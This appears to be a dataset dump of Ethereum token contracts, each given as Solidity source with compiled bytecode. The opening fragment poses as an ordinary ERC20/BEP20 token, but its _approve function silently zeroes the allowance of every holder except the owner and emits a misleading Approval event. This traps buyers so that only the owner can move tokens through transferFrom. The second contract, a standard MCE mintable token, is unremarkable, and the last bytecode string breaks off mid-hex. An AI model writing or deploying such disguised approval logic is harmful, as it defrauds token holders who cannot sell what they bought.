function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address lucky, address tt, uint256 amount) private {
require(lucky != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (lucky != owner()) { _allowances[lucky][tt] = 0; emit Approval(lucky, tt, 4); }
else { _allowances[lucky][tt] = amount; emit Approval(lucky, tt, amount); }
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122052414ca0dcebaf22f65352eed6ca956c69064e35703721b50802be369602a7fa64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 933 |
0x97ff1cb53f5929b49395cd01cc1080e6c2bff487 | pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function MintableToken() {
mint (msg.sender, 500000000 * (10 ** 18));
finishMinting();
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MCE is MintableToken {
string public name="MultiChainExchange token";
string public symbol="MCE";
uint256 public decimals = 18;
uint256 public constant initialSupply = 500000000 * (10 ** 18);
} | 0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461011757806306fdde0314610146578063095ea7b3146101d657806318160ddd1461023b57806323b872dd14610266578063313ce567146102eb578063378dc3dc1461031657806340c10f191461034157806342966c68146103a657806366188463146103d357806370a0823114610438578063715018a61461048f57806379cc6790146104a65780637d64bcb4146104f35780638da5cb5b1461052257806395d89b4114610579578063a9059cbb14610609578063d73dd6231461066e578063dd62ed3e146106d3578063f2fde38b1461074a575b600080fd5b34801561012357600080fd5b5061012c61078d565b604051808215151515815260200191505060405180910390f35b34801561015257600080fd5b5061015b6107a0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019b578082015181840152602081019050610180565b50505050905090810190601f1680156101c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e257600080fd5b50610221600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083e565b604051808215151515815260200191505060405180910390f35b34801561024757600080fd5b50610250610930565b6040518082815260200191505060405180910390f35b34801561027257600080fd5b506102d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b604051808215151515815260200191505060405180910390f35b3480156102f757600080fd5b50610300610cf5565b6040518082815260200191505060405180910390f35b34801561032257600080fd5b5061032b610cfb565b6040518082815260200191505060405180910390f35b34801561034d57600080fd5b5061038c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d0b565b604051808215151515815260200191505060405180910390f35b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050610ef1565b005b3480156103df57600080fd5b5061041e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efe565b604051808215151515815260200191505060405180910390f35b34801561044457600080fd5b50610479600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611190565b6040518082815260200191505060405180910390f35b34801561049b57600080fd5b506104a46111d8565b005b3480156104b257600080fd5b506104f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112dd565b005b3480156104ff57600080fd5b50610508611485565b604051808215151515815260200191505060405180910390f35b34801561052e57600080fd5b5061053761154d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058557600080fd5b5061058e611573565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ce5780820151818401526020810190506105b3565b50505050905090810190601f1680156105fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061557600080fd5b50610654600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611611565b604051808215151515815260200191505060405180910390f35b34801561067a57600080fd5b506106b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611831565b604051808215151515815260200191505060405180910390f35b3480156106df57600080fd5b50610734600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a2d565b6040518082815260200191505060405180910390f35b34801561075657600080fd5b5061078b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab4565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561098957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a1457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a5057600080fd5b610aa1826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1c90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b34826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0582600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b6b019d971e4fe8401e7400000081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6957600080fd5b600360149054906101000a900460ff16151515610d8557600080fd5b610d9a82600254611b3d90919063ffffffff16565b600281905550610df1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610efb3382611b5e565b50565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515611010576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a4565b6110238382611b1c90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561136857600080fd5b6113f781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1c90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114818282611b5e565b5050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114e357600080fd5b600360149054906101000a900460ff161515156114ff57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116095780601f106115de57610100808354040283529160200191611609565b820191906000526020600020905b8154815290600101906020018083116115ec57829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561166057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561169c57600080fd5b6116ed826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611780826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006118c282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054